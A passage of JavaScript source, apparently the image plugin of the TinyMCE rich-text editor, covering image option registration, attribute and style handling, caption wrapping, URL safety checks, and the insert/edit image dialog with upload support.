    const hasNonNullableKey = (obj, key) => has(obj, key) && obj[key] !== undefined && obj[key] !== null;

    const nativePush = Array.prototype.push;
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const get = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get(xs, 0);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const remove = (element, key) => {
      element.dom.removeAttribute(key);
    };

    const fromHtml = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom(node);
    };
    const fromDom = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom);
    const SugarElement = {
      fromHtml,
      fromTag,
      fromText,
      fromDom,
      fromPoint
    };

    var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$2 = tinymce.util.Tools.resolve('tinymce.util.URI');

    const isNotEmpty = s => s.length > 0;

    const option = name => editor => editor.options.get(name);
    const register$2 = editor => {
      const registerOption = editor.options.register;
      registerOption('image_dimensions', {
        processor: 'boolean',
        default: true
      });
      registerOption('image_advtab', {
        processor: 'boolean',
        default: false
      });
      registerOption('image_uploadtab', {
        processor: 'boolean',
        default: true
      });
      registerOption('image_prepend_url', {
        processor: 'string',
        default: ''
      });
      registerOption('image_class_list', { processor: 'object[]' });
      registerOption('image_description', {
        processor: 'boolean',
        default: true
      });
      registerOption('image_title', {
        processor: 'boolean',
        default: false
      });
      registerOption('image_caption', {
        processor: 'boolean',
        default: false
      });
      registerOption('image_list', {
        processor: value => {
          const valid = value === false || isString(value) || isArrayOf(value, isObject) || isFunction(value);
          return valid ? {
            value,
            valid
          } : {
            valid: false,
            message: 'Must be false, a string, an array or a function.'
          };
        },
        default: false
      });
    };
    const hasDimensions = option('image_dimensions');
    const hasAdvTab = option('image_advtab');
    const hasUploadTab = option('image_uploadtab');
    const getPrependUrl = option('image_prepend_url');
    const getClassList = option('image_class_list');
    const hasDescription = option('image_description');
    const hasImageTitle = option('image_title');
    const hasImageCaption = option('image_caption');
    const getImageList = option('image_list');
    const showAccessibilityOptions = option('a11y_advanced_options');
    const isAutomaticUploadsEnabled = option('automatic_uploads');
    const hasUploadUrl = editor => isNotEmpty(editor.options.get('images_upload_url'));
    const hasUploadHandler = editor => isNonNullable(editor.options.get('images_upload_handler'));

    const parseIntAndGetMax = (val1, val2) => Math.max(parseInt(val1, 10), parseInt(val2, 10));
    const getImageSize = url => new Promise(callback => {
      const img = document.createElement('img');
      const done = dimensions => {
        img.onload = img.onerror = null;
        if (img.parentNode) {
          img.parentNode.removeChild(img);
        }
        callback(dimensions);
      };
      img.onload = () => {
        const width = parseIntAndGetMax(img.width, img.clientWidth);
        const height = parseIntAndGetMax(img.height, img.clientHeight);
        const dimensions = {
          width,
          height
        };
        done(Promise.resolve(dimensions));
      };
      img.onerror = () => {
        done(Promise.reject(`Failed to get image dimensions for: ${ url }`));
      };
      const style = img.style;
      style.visibility = 'hidden';
      style.position = 'fixed';
      style.bottom = style.left = '0px';
      style.width = style.height = 'auto';
      document.body.appendChild(img);
      img.src = url;
    });
    const removePixelSuffix = value => {
      if (value) {
        value = value.replace(/px$/, '');
      }
      return value;
    };
    const addPixelSuffix = value => {
      if (value.length > 0 && /^[0-9]+$/.test(value)) {
        value += 'px';
      }
      return value;
    };
    const mergeMargins = css => {
      if (css.margin) {
        const splitMargin = String(css.margin).split(' ');
        switch (splitMargin.length) {
        case 1:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[0];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[0];
          break;
        case 2:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[0];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 3:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[1];
          break;
        case 4:
          css['margin-top'] = css['margin-top'] || splitMargin[0];
          css['margin-right'] = css['margin-right'] || splitMargin[1];
          css['margin-bottom'] = css['margin-bottom'] || splitMargin[2];
          css['margin-left'] = css['margin-left'] || splitMargin[3];
        }
        delete css.margin;
      }
      return css;
    };
    const createImageList = (editor, callback) => {
      const imageList = getImageList(editor);
      if (isString(imageList)) {
        fetch(imageList).then(res => {
          if (res.ok) {
            res.json().then(callback);
          }
        });
      } else if (isFunction(imageList)) {
        imageList(callback);
      } else {
        callback(imageList);
      }
    };
    const waitLoadImage = (editor, data, imgElm) => {
      const selectImage = () => {
        imgElm.onload = imgElm.onerror = null;
        if (editor.selection) {
          editor.selection.select(imgElm);
          editor.nodeChanged();
        }
      };
      imgElm.onload = () => {
        if (!data.width && !data.height && hasDimensions(editor)) {
          editor.dom.setAttribs(imgElm, {
            width: String(imgElm.clientWidth),
            height: String(imgElm.clientHeight)
          });
        }
        selectImage();
      };
      imgElm.onerror = selectImage;
    };
    const blobToDataUri = blob => new Promise((resolve, reject) => {
      const reader = new FileReader();
      reader.onload = () => {
        resolve(reader.result);
      };
      reader.onerror = () => {
        var _a;
        reject((_a = reader.error) === null || _a === void 0 ? void 0 : _a.message);
      };
      reader.readAsDataURL(blob);
    });
    const isPlaceholderImage = imgElm => imgElm.nodeName === 'IMG' && (imgElm.hasAttribute('data-mce-object') || imgElm.hasAttribute('data-mce-placeholder'));
    const isSafeImageUrl = (editor, src) => {
      const getOption = editor.options.get;
      return global$2.isDomSafe(src, 'img', {
        allow_html_data_urls: getOption('allow_html_data_urls'),
        allow_script_urls: getOption('allow_script_urls'),
        allow_svg_data_urls: getOption('allow_svg_data_urls')
      });
    };

    const DOM = global$3.DOM;
    const getHspace = image => {
      if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) {
        return removePixelSuffix(image.style.marginLeft);
      } else {
        return '';
      }
    };
    const getVspace = image => {
      if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) {
        return removePixelSuffix(image.style.marginTop);
      } else {
        return '';
      }
    };
    const getBorder = image => {
      if (image.style.borderWidth) {
        return removePixelSuffix(image.style.borderWidth);
      } else {
        return '';
      }
    };
    const getAttrib = (image, name) => {
      var _a;
      if (image.hasAttribute(name)) {
        return (_a = image.getAttribute(name)) !== null && _a !== void 0 ? _a : '';
      } else {
        return '';
      }
    };
    const hasCaption = image => image.parentNode !== null && image.parentNode.nodeName === 'FIGURE';
    const updateAttrib = (image, name, value) => {
      if (value === '' || value === null) {
        image.removeAttribute(name);
      } else {
        image.setAttribute(name, value);
      }
    };
    const wrapInFigure = image => {
      const figureElm = DOM.create('figure', { class: 'image' });
      DOM.insertAfter(figureElm, image);
      figureElm.appendChild(image);
      figureElm.appendChild(DOM.create('figcaption', { contentEditable: 'true' }, 'Caption'));
      figureElm.contentEditable = 'false';
    };
    const removeFigure = image => {
      const figureElm = image.parentNode;
      if (isNonNullable(figureElm)) {
        DOM.insertAfter(image, figureElm);
        DOM.remove(figureElm);
      }
    };
    const toggleCaption = image => {
      if (hasCaption(image)) {
        removeFigure(image);
      } else {
        wrapInFigure(image);
      }
    };
    const normalizeStyle = (image, normalizeCss) => {
      const attrValue = image.getAttribute('style');
      const value = normalizeCss(attrValue !== null ? attrValue : '');
      if (value.length > 0) {
        image.setAttribute('style', value);
        image.setAttribute('data-mce-style', value);
      } else {
        image.removeAttribute('style');
      }
    };
    const setSize = (name, normalizeCss) => (image, name, value) => {
      const styles = image.style;
      if (styles[name]) {
        styles[name] = addPixelSuffix(value);
        normalizeStyle(image, normalizeCss);
      } else {
        updateAttrib(image, name, value);
      }
    };
    const getSize = (image, name) => {
      if (image.style[name]) {
        return removePixelSuffix(image.style[name]);
      } else {
        return getAttrib(image, name);
      }
    };
    const setHspace = (image, value) => {
      const pxValue = addPixelSuffix(value);
      image.style.marginLeft = pxValue;
      image.style.marginRight = pxValue;
    };
    const setVspace = (image, value) => {
      const pxValue = addPixelSuffix(value);
      image.style.marginTop = pxValue;
      image.style.marginBottom = pxValue;
    };
    const setBorder = (image, value) => {
      const pxValue = addPixelSuffix(value);
      image.style.borderWidth = pxValue;
    };
    const setBorderStyle = (image, value) => {
      image.style.borderStyle = value;
    };
    const getBorderStyle = image => {
      var _a;
      return (_a = image.style.borderStyle) !== null && _a !== void 0 ? _a : '';
    };
    const isFigure = elm => isNonNullable(elm) && elm.nodeName === 'FIGURE';
    const isImage = elm => elm.nodeName === 'IMG';
    const getIsDecorative = image => DOM.getAttrib(image, 'alt').length === 0 && DOM.getAttrib(image, 'role') === 'presentation';
    const getAlt = image => {
      if (getIsDecorative(image)) {
        return '';
      } else {
        return getAttrib(image, 'alt');
      }
    };
    const defaultData = () => ({
      src: '',
      alt: '',
      title: '',
      width: '',
      height: '',
      class: '',
      style: '',
      caption: false,
      hspace: '',
      vspace: '',
      border: '',
      borderStyle: '',
      isDecorative: false
    });
    const getStyleValue = (normalizeCss, data) => {
      var _a;
      const image = document.createElement('img');
      updateAttrib(image, 'style', data.style);
      if (getHspace(image) || data.hspace !== '') {
        setHspace(image, data.hspace);
      }
      if (getVspace(image) || data.vspace !== '') {
        setVspace(image, data.vspace);
      }
      if (getBorder(image) || data.border !== '') {
        setBorder(image, data.border);
      }
      if (getBorderStyle(image) || data.borderStyle !== '') {
        setBorderStyle(image, data.borderStyle);
      }
      return normalizeCss((_a = image.getAttribute('style')) !== null && _a !== void 0 ? _a : '');
    };
    const create = (normalizeCss, data) => {
      const image = document.createElement('img');
      write(normalizeCss, {
        ...data,
        caption: false
      }, image);
      setAlt(image, data.alt, data.isDecorative);
      if (data.caption) {
        const figure = DOM.create('figure', { class: 'image' });
        figure.appendChild(image);
        figure.appendChild(DOM.create('figcaption', { contentEditable: 'true' }, 'Caption'));
        figure.contentEditable = 'false';
        return figure;
      } else {
        return image;
      }
    };
    const read = (normalizeCss, image) => ({
      src: getAttrib(image, 'src'),
      alt: getAlt(image),
      title: getAttrib(image, 'title'),
      width: getSize(image, 'width'),
      height: getSize(image, 'height'),
      class: getAttrib(image, 'class'),
      style: normalizeCss(getAttrib(image, 'style')),
      caption: hasCaption(image),
      hspace: getHspace(image),
      vspace: getVspace(image),
      border: getBorder(image),
      borderStyle: getBorderStyle(image),
      isDecorative: getIsDecorative(image)
    });
    const updateProp = (image, oldData, newData, name, set) => {
      if (newData[name] !== oldData[name]) {
        set(image, name, String(newData[name]));
      }
    };
    const setAlt = (image, alt, isDecorative) => {
      if (isDecorative) {
        DOM.setAttrib(image, 'role', 'presentation');
        const sugarImage = SugarElement.fromDom(image);
        set(sugarImage, 'alt', '');
      } else {
        if (isNull(alt)) {
          const sugarImage = SugarElement.fromDom(image);
          remove(sugarImage, 'alt');
        } else {
          const sugarImage = SugarElement.fromDom(image);
          set(sugarImage, 'alt', alt);
        }
        if (DOM.getAttrib(image, 'role') === 'presentation') {
          DOM.setAttrib(image, 'role', '');
        }
      }
    };
    const updateAlt = (image, oldData, newData) => {
      if (newData.alt !== oldData.alt || newData.isDecorative !== oldData.isDecorative) {
        setAlt(image, newData.alt, newData.isDecorative);
      }
    };
    const normalized = (set, normalizeCss) => (image, name, value) => {
      set(image, value);
      normalizeStyle(image, normalizeCss);
    };
    const write = (normalizeCss, newData, image) => {
      const oldData = read(normalizeCss, image);
      updateProp(image, oldData, newData, 'caption', (image, _name, _value) => toggleCaption(image));
      updateProp(image, oldData, newData, 'src', updateAttrib);
      updateProp(image, oldData, newData, 'title', updateAttrib);
      updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss));
      updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss));
      updateProp(image, oldData, newData, 'class', updateAttrib);
      updateProp(image, oldData, newData, 'style', normalized((image, value) => updateAttrib(image, 'style', value), normalizeCss));
      updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss));
      updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss));
      updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss));
      updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss));
      updateAlt(image, oldData, newData);
    };

    const normalizeCss$1 = (editor, cssText) => {
      const css = editor.dom.styles.parse(cssText);
      const mergedCss = mergeMargins(css);
      const compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss));
      return editor.dom.styles.serialize(compressed);
    };
    const getSelectedImage = editor => {
      const imgElm = editor.selection.getNode();
      const figureElm = editor.dom.getParent(imgElm, 'figure.image');
      if (figureElm) {
        return editor.dom.select('img', figureElm)[0];
      }
      if (imgElm && (imgElm.nodeName !== 'IMG' || isPlaceholderImage(imgElm))) {
        return null;
      }
      return imgElm;
    };
    const splitTextBlock = (editor, figure) => {
      var _a;
      const dom = editor.dom;
      const textBlockElements = filter(editor.schema.getTextBlockElements(), (_, parentElm) => !editor.schema.isValidChild(parentElm, 'figure'));
      const textBlock = dom.getParent(figure.parentNode, node => hasNonNullableKey(textBlockElements, node.nodeName), editor.getBody());
      if (textBlock) {
        return (_a = dom.split(textBlock, figure)) !== null && _a !== void 0 ? _a : figure;
      } else {
        return figure;
      }
    };
    const readImageDataFromSelection = editor => {
      const image = getSelectedImage(editor);
      return image ? read(css => normalizeCss$1(editor, css), image) : defaultData();
    };
    const insertImageAtCaret = (editor, data) => {
      const elm = create(css => normalizeCss$1(editor, css), data);
      editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew');
      editor.focus();
      editor.selection.setContent(elm.outerHTML);
      const insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0];
      editor.dom.setAttrib(insertedElm, 'data-mce-id', null);
      if (isFigure(insertedElm)) {
        const figure = splitTextBlock(editor, insertedElm);
        editor.selection.select(figure);
      } else {
        editor.selection.select(insertedElm);
      }
    };
    const syncSrcAttr = (editor, image) => {
      editor.dom.setAttrib(image, 'src', image.getAttribute('src'));
    };
    const deleteImage = (editor, image) => {
      if (image) {
        const elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image;
        editor.dom.remove(elm);
        editor.focus();
        editor.nodeChanged();
        if (editor.dom.isEmpty(editor.getBody())) {
          editor.setContent('');
          editor.selection.setCursorLocation();
        }
      }
    };
    const writeImageDataToSelection = (editor, data) => {
      const image = getSelectedImage(editor);
      if (image) {
        write(css => normalizeCss$1(editor, css), data, image);
        syncSrcAttr(editor, image);
        if (isFigure(image.parentNode)) {
          const figure = image.parentNode;
          splitTextBlock(editor, figure);
          editor.selection.select(image.parentNode);
        } else {
          editor.selection.select(image);
          waitLoadImage(editor, data, image);
        }
      }
    };
    const sanitizeImageData = (editor, data) => {
      const src = data.src;
      return {
        ...data,
        src: isSafeImageUrl(editor, src) ? src : ''
      };
    };
    const insertOrUpdateImage = (editor, partialData) => {
      const image = getSelectedImage(editor);
      if (image) {
        const selectedImageData = read(css => normalizeCss$1(editor, css), image);
        const data = {
          ...selectedImageData,
          ...partialData
        };
        const sanitizedData = sanitizeImageData(editor, data);
        if (data.src) {
          writeImageDataToSelection(editor, sanitizedData);
        } else {
          deleteImage(editor, image);
        }
      } else if (partialData.src) {
        insertImageAtCaret(editor, {
          ...defaultData(),
          ...partialData
        });
      }
    };

    const deep = (old, nu) => {
      const bothObjects = isPlainObject(old) && isPlainObject(nu);
      return bothObjects ? deepMerge(old, nu) : nu;
    };
    const baseMerge = merger => {
      return (...objects) => {
        if (objects.length === 0) {
          throw new Error(`Can't merge zero objects`);
        }
        const ret = {};
        for (let j = 0; j < objects.length; j++) {
          const curObject = objects[j];
          for (const key in curObject) {
            if (has(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    const deepMerge = baseMerge(deep);

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.ImageUploader');

    var global = tinymce.util.Tools.resolve('tinymce.util.Tools');

    const getValue = item => isString(item.value) ? item.value : '';
    const getText = item => {
      if (isString(item.text)) {
        return item.text;
      } else if (isString(item.title)) {
        return item.title;
      } else {
        return '';
      }
    };
    const sanitizeList = (list, extractValue) => {
      const out = [];
      global.each(list, item => {
        const text = getText(item);
        if (item.menu !== undefined) {
          const items = sanitizeList(item.menu, extractValue);
          out.push({
            text,
            items
          });
        } else {
          const value = extractValue(item);
          out.push({
            text,
            value
          });
        }
      });
      return out;
    };
    const sanitizer = (extractor = getValue) => list => {
      if (list) {
        return Optional.from(list).map(list => sanitizeList(list, extractor));
      } else {
        return Optional.none();
      }
    };
    const sanitize = list => sanitizer(getValue)(list);
    const isGroup = item => has(item, 'items');
    const findEntryDelegate = (list, value) => findMap(list, item => {
      if (isGroup(item)) {
        return findEntryDelegate(item.items, value);
      } else if (item.value === value) {
        return Optional.some(item);
      } else {
        return Optional.none();
      }
    });
    const findEntry = (optList, value) => optList.bind(list => findEntryDelegate(list, value));
    const ListUtils = {
      sanitizer,
      sanitize,
      findEntry
    };

    const makeTab$2 = _info => ({
      title: 'Advanced',
      name: 'advanced',
      items: [{
          type: 'grid',
          columns: 2,
          items: [
            {
              type: 'input',
              label: 'Vertical space',
              name: 'vspace',
              inputMode: 'numeric'
            },
            {
              type: 'input',
              label: 'Horizontal space',
              name: 'hspace',
              inputMode: 'numeric'
            },
            {
              type: 'input',
              label: 'Border width',
              name: 'border',
              inputMode: 'numeric'
            },
            {
              type: 'listbox',
              name: 'borderstyle',
              label: 'Border style',
              items: [
                {
                  text: 'Select...',
                  value: ''
                },
                {
                  text: 'Solid',
                  value: 'solid'
                },
                {
                  text: 'Dotted',
                  value: 'dotted'
                },
                {
                  text: 'Dashed',
                  value: 'dashed'
                },
                {
                  text: 'Double',
                  value: 'double'
                },
                {
                  text: 'Groove',
                  value: 'groove'
                },
                {
                  text: 'Ridge',
                  value: 'ridge'
                },
                {
                  text: 'Inset',
                  value: 'inset'
                },
                {
                  text: 'Outset',
                  value: 'outset'
                },
                {
                  text: 'None',
                  value: 'none'
                },
                {
                  text: 'Hidden',
                  value: 'hidden'
                }
              ]
            }
          ]
        }]
    });
    const AdvTab = { makeTab: makeTab$2 };

    const collect = editor => {
      const urlListSanitizer = ListUtils.sanitizer(item => editor.convertURL(item.value || item.url || '', 'src'));
      const futureImageList = new Promise(completer => {
        createImageList(editor, imageList => {
          completer(urlListSanitizer(imageList).map(items => flatten([
            [{
                text: 'None',
                value: ''
              }],
            items
          ])));
        });
      });
      const classList = ListUtils.sanitize(getClassList(editor));
      const hasAdvTab$1 = hasAdvTab(editor);
      const hasUploadTab$1 = hasUploadTab(editor);
      const hasUploadUrl$1 = hasUploadUrl(editor);
      const hasUploadHandler$1 = hasUploadHandler(editor);
      const image = readImageDataFromSelection(editor);
      const hasDescription$1 = hasDescription(editor);
      const hasImageTitle$1 = hasImageTitle(editor);
      const hasDimensions$1 = hasDimensions(editor);
      const hasImageCaption$1 = hasImageCaption(editor);
      const hasAccessibilityOptions = showAccessibilityOptions(editor);
      const automaticUploads = isAutomaticUploadsEnabled(editor);
      const prependURL = Optional.some(getPrependUrl(editor)).filter(preUrl => isString(preUrl) && preUrl.length > 0);
      return futureImageList.then(imageList => ({
        image,
        imageList,
        classList,
        hasAdvTab: hasAdvTab$1,
        hasUploadTab: hasUploadTab$1,
        hasUploadUrl: hasUploadUrl$1,
        hasUploadHandler: hasUploadHandler$1,
        hasDescription: hasDescription$1,
        hasImageTitle: hasImageTitle$1,
        hasDimensions: hasDimensions$1,
        hasImageCaption: hasImageCaption$1,
        prependURL,
        hasAccessibilityOptions,
        automaticUploads
      }));
    };

    const makeItems = info => {
      const imageUrl = {
        name: 'src',
        type: 'urlinput',
        filetype: 'image',
        label: 'Source'
      };
      const imageList = info.imageList.map(items => ({
        name: 'images',
        type: 'listbox',
        label: 'Image list',
        items
      }));
      const imageDescription = {
        name: 'alt',
        type: 'input',
        label: 'Alternative description',
        enabled: !(info.hasAccessibilityOptions && info.image.isDecorative)
      };
      const imageTitle = {
        name: 'title',
        type: 'input',
        label: 'Image title'
      };
      const imageDimensions = {
        name: 'dimensions',
        type: 'sizeinput'
      };
      const isDecorative = {
        type: 'label',
        label: 'Accessibility',
        items: [{
            name: 'isDecorative',
            type: 'checkbox',
            label: 'Image is decorative'
          }]
      };
      const classList = info.classList.map(items => ({
        name: 'classes',
        type: 'listbox',
        label: 'Class',
        items
      }));
      const caption = {
        type: 'label',
        label: 'Caption',
        items: [{
            type: 'checkbox',
            name: 'caption',
            label: 'Show caption'
          }]
      };
      const getDialogContainerType = useColumns => useColumns ? {
        type: 'grid',
        columns: 2
      } : { type: 'panel' };
      return flatten([
        [imageUrl],
        imageList.toArray(),
        info.hasAccessibilityOptions && info.hasDescription ? [isDecorative] : [],
        info.hasDescription ? [imageDescription] : [],
        info.hasImageTitle ? [imageTitle] : [],
        info.hasDimensions ? [imageDimensions] : [],
        [{
            ...getDialogContainerType(info.classList.isSome() && info.hasImageCaption),
            items: flatten([
              classList.toArray(),
              info.hasImageCaption ? [caption] : []
            ])
          }]
      ]);
    };
    const makeTab$1 = info => ({
      title: 'General',
      name: 'general',
      items: makeItems(info)
    });
    const MainTab = {
      makeTab: makeTab$1,
      makeItems
    };

    const makeTab = _info => {
      const items = [{
          type: 'dropzone',
          name: 'fileinput'
        }];
      return {
        title: 'Upload',
        name: 'upload',
        items
      };
    };
    const UploadTab = { makeTab };

    const createState = info => ({
      prevImage: ListUtils.findEntry(info.imageList, info.image.src),
      prevAlt: info.image.alt,
      open: true
    });
    const fromImageData = image => ({
      src: {
        value: image.src,
        meta: {}
      },
      images: image.src,
      alt: image.alt,
      title: image.title,
      dimensions: {
        width: image.width,
        height: image.height
      },
      classes: image.class,
      caption: image.caption,
      style: image.style,
      vspace: image.vspace,
      border: image.border,
      hspace: image.hspace,
      borderstyle: image.borderStyle,
      fileinput: [],
      isDecorative: image.isDecorative
    });
    const toImageData = (data, removeEmptyAlt) => ({
      src: data.src.value,
      alt: (data.alt === null || data.alt.length === 0) && removeEmptyAlt ? null : data.alt,
      title: data.title,
      width: data.dimensions.width,
      height: data.dimensions.height,
      class: data.classes,
      style: data.style,
      caption: data.caption,
      hspace: data.hspace,
      vspace: data.vspace,
      border: data.border,
      borderStyle: data.borderstyle,
      isDecorative: data.isDecorative
    });
    const addPrependUrl2 = (info, srcURL) => {
      if (!/^(?:[a-zA-Z]+:)?\/\//.test(srcURL)) {
        return info.prependURL.bind(prependUrl => {
          if (srcURL.substring(0, prependUrl.length) !== prependUrl) {
            return Optional.some(prependUrl + srcURL);
          }
          return Optional.none();
        });
      }
      return Optional.none();
    };
    const addPrependUrl = (info, api) => {
      const data = api.getData();
      addPrependUrl2(info, data.src.value).each(srcURL => {
        api.setData({
          src: {
            value: srcURL,
            meta: data.src.meta
          }
        });
      });
    };
    const formFillFromMeta2 = (info, data, meta) => {
      if (info.hasDescription && isString(meta.alt)) {
        data.alt = meta.alt;
      }
      if (info.hasAccessibilityOptions) {
        data.isDecorative = meta.isDecorative || data.isDecorative || false;
      }
      if (info.hasImageTitle && isString(meta.title)) {
        data.title = meta.title;
      }
      if (info.hasDimensions) {
        if (isString(meta.width)) {
          data.dimensions.width = meta.width;
        }
        if (isString(meta.height)) {
          data.dimensions.height = meta.height;
        }
      }
      if (isString(meta.class)) {
        ListUtils.findEntry(info.classList, meta.class).each(entry => {
          data.classes = entry.value;
        });
      }
      if (info.hasImageCaption) {
        if (isBoolean(meta.caption)) {
          data.caption = meta.caption;
        }
      }
      if (info.hasAdvTab) {
        if (isString(meta.style)) {
          data.style = meta.style;
        }
        if (isString(meta.vspace)) {
          data.vspace = meta.vspace;
        }
        if (isString(meta.border)) {
          data.border = meta.border;
        }
        if (isString(meta.hspace)) {
          data.hspace = meta.hspace;
        }
        if (isString(meta.borderstyle)) {
          data.borderstyle = meta.borderstyle;
        }
      }
    };
    const formFillFromMeta = (info, api) => {
      const data = api.getData();
      const meta = data.src.meta;
      if (meta !== undefined) {
        const newData = deepMerge({}, data);
        formFillFromMeta2(info, newData, meta);
        api.setData(newData);
      }
    };
    const calculateImageSize = (helpers, info, state, api) => {
      const data = api.getData();
      const url = data.src.value;
      const meta = data.src.meta || {};
      if (!meta.width && !meta.height && info.hasDimensions) {
        if (isNotEmpty(url)) {
          helpers.imageSize(url).then(size => {
            if (state.open) {
              api.setData({ dimensions: size });
            }
          }).catch(e => console.error(e));
        } else {
          api.setData({
            dimensions: {
              width: '',
              height: ''
            }
          });
        }
      }
    };
    const updateImagesDropdown = (info, state, api) => {
      const data = api.getData();
      const image = ListUtils.findEntry(info.imageList, data.src.value);
      state.prevImage = image;
      api.setData({ images: image.map(entry => entry.value).getOr('') });
    };
    const changeSrc = (helpers, info, state, api) => {
      addPrependUrl(info, api);
      formFillFromMeta(info, api);
      calculateImageSize(helpers, info, state, api);
      updateImagesDropdown(info, state, api);
    };
    const changeImages = (helpers, info, state, api) => {
      const data = api.getData();
      const image = ListUtils.findEntry(info.imageList, data.images);
      image.each(img => {
        const updateAlt = data.alt === '' || state.prevImage.map(image => image.text === data.alt).getOr(false);
        if (updateAlt) {
          if (img.value === '') {
            api.setData({
              src: img,
              alt: state.prevAlt
            });
          } else {
            api.setData({
              src: img,
              alt: img.text
            });
          }
        } else {
          api.setData({ src: img });
        }
      });
      state.prevImage = image;
      changeSrc(helpers, info, state, api);
    };
    const changeFileInput = (helpers, info, state, api) => {
      const data = api.getData();
      api.block('Uploading image');
      head(data.fileinput).fold(() => {
        api.unblock();
      }, file => {
        const blobUri = URL.createObjectURL(file);
        const finalize = () => {
          api.unblock();
          URL.revokeObjectURL(blobUri);
        };
        const updateSrcAndSwitchTab = url => {
          api.setData({
            src: {
              value: url,
              meta: {}
            }
          });
          api.showTab('general');
          changeSrc(helpers, info, state, api);
        };
        blobToDataUri(file).then(dataUrl => {
          const blobInfo = helpers.createBlobCache(file, blobUri, dataUrl);
          if (info.automaticUploads) {
            helpers.uploadImage(blobInfo).then(result => {
              updateSrcAndSwitchTab(result.url);
              finalize();
            }).catch(err => {
              finalize();
              helpers.alertErr(err);
            });
          } else {
            helpers.addToBlobCache(blobInfo);
            updateSrcAndSwitchTab(blobInfo.blobUri());
            api.unblock();
          }
        });
      });
    };
    const changeHandler = (helpers, info, state) => (api, evt) => {
      if (evt.name === 'src') {
        changeSrc(helpers, info, state, api);
      } else if (evt.name === 'images') {
        changeImages(helpers, info, state, api);
      } else if (evt.name === 'alt') {
        state.prevAlt = api.getData().alt;
      } else if (evt.name === 'fileinput') {
        changeFileInput(helpers, info, state, api);
      } else if (evt.name === 'isDecorative') {
        api.setEnabled('alt', !api.getData().isDecorative);
      }
    };
    const closeHandler = state => () => {
      state.open = false;
    };
    const makeDialogBody = info => {
      if (info.hasAdvTab || info.hasUploadUrl || info.hasUploadHandler) {
        const tabPanel = {
          type: 'tabpanel',
          tabs: flatten([
            [MainTab.makeTab(info)],
            info.hasAdvTab ? [AdvTab.makeTab(info)] : [],
            info.hasUploadTab && (info.hasUploadUrl || info.hasUploadHandler) ? [UploadTab.makeTab(info)] : []
          ])
        };
        return tabPanel;
      } else {
        const panel = {
          type: 'panel',
          items: MainTab.makeItems(info)
        };
        return panel;
      }
    };
    const submitHandler = (editor, info, helpers) => api => {
      const data = deepMerge(fromImageData(info.image), api.getData());
      const finalData = {
        ...data,
        style: getStyleValue(helpers.normalizeCss, toImageData(data, false))
      };
      editor.execCommand('mceUpdateImage', false, toImageData(finalData, info.hasAccessibilityOptions));
      editor.editorUpload.uploadImagesAuto();
      api.close();
    };
    const imageSize = editor => url => {
      if (!isSafeImageUrl(editor, url)) {
        return Promise.resolve({
          width: '',
          height: ''
        });
      } else {
        return getImageSize(editor.documentBaseURI.toAbsolute(url)).then(dimensions => ({
          width: String(dimensions.width),
          height: String(dimensions.height)
        }));
      }
    };
    const createBlobCache = editor => (file, blobUri, dataUrl) => {
      var _a;
      return editor.editorUpload.blobCache.create({
        blob: file,
        blobUri,
        name: (_a = file.name) === null || _a === void 0 ? void 0 : _a.replace(/\.[^\.]+$/, ''),
        filename: file.name,
        base64: dataUrl.split(',')[1]
      });
    };
    const addToBlobCache = editor => blobInfo => {
      editor.editorUpload.blobCache.add(blobInfo);
    };
    const alertErr = editor => message => {
      editor.windowManager.alert(message);
    };
    const normalizeCss = editor => cssText => normalizeCss$1(editor, cssText);
